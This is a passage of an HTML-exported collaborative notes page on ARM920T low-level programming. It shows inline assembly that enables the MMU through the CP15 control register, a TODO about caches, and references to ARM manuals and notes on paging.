&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;asm&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;mrc p15, 0, %0, c1, c0, 0&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;=r&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 identifier&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;reg&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;cc&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line lexer_start gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid85&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1 lang-c&quot; spellcheck=&quot;false&quot; style=&quot;color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 identifier&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;reg&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;0x1&lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;asm&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line lexer_start gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid86&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1 lang-c&quot; spellcheck=&quot;false&quot; style=&quot;color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;volatile&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;mcr p15, 0, %0, c1, c0, 0&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 identifier&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;reg&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;cc&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid87&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1&quot; style=&quot;color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid88&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-hone emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid89&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-hone listindent1 list-hone1&quot; style=&quot;border-bottom-color: rgb(180, 192, 187); border-bottom-style: solid; border-bottom-width: 1px; cursor: text; line-height: 34px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin: 0px 0px 10px; padding: 0px;&quot;&gt;
&lt;li style=&quot;background-position: 10px 2px; background-repeat: no-repeat no-repeat; font-size: 26px; font-weight: bold; margin: 0px 0px 0px -1.3em; padding: 0px 0px 2px 1.3em;&quot;&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;TODO: I-Cache, D-Cache, cache鎖定&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid90&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid91&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-hthree emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid92&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-hthree listindent1 list-hthree1&quot; style=&quot;cursor: text; list-style: none; margin: 0px; padding: 0px;&quot;&gt;
&lt;li style=&quot;background-position: 10px 12px; background-repeat: no-repeat no-repeat; font-weight: bold; margin: 0px 0px 0px -34px; padding: 0px 0px 2px 34px;&quot;&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid93&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid94&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid95&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid96&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Reference:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid97&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;[1]韋任Blog,&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://people.cs.nctu.edu.tw/~chenwj/dokuwiki/doku.php?id=arm2&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://people.cs.nctu.edu.tw/~chenwj/dokuwiki/doku.php?id=arm2&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid98&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;[2]ARM920T Technical Reference Manual.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid99&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;[3]ARM Information center:&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0056d/BABHJIBH.html&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0056d/BABHJIBH.html&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid100&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid101&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;https://www.cs.rutgers.edu/~pxk/416/notes/10-paging.html&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;https://www.cs.rutgers.edu/~pxk/416/notes/10-paging.html&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid102&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0344k/index.html&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0344k/index.html&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid103&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://www.embedded-bits.co.uk/2011/mmucode/&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://www.embedded-bits.co.uk/2011/mmucode/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid104&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
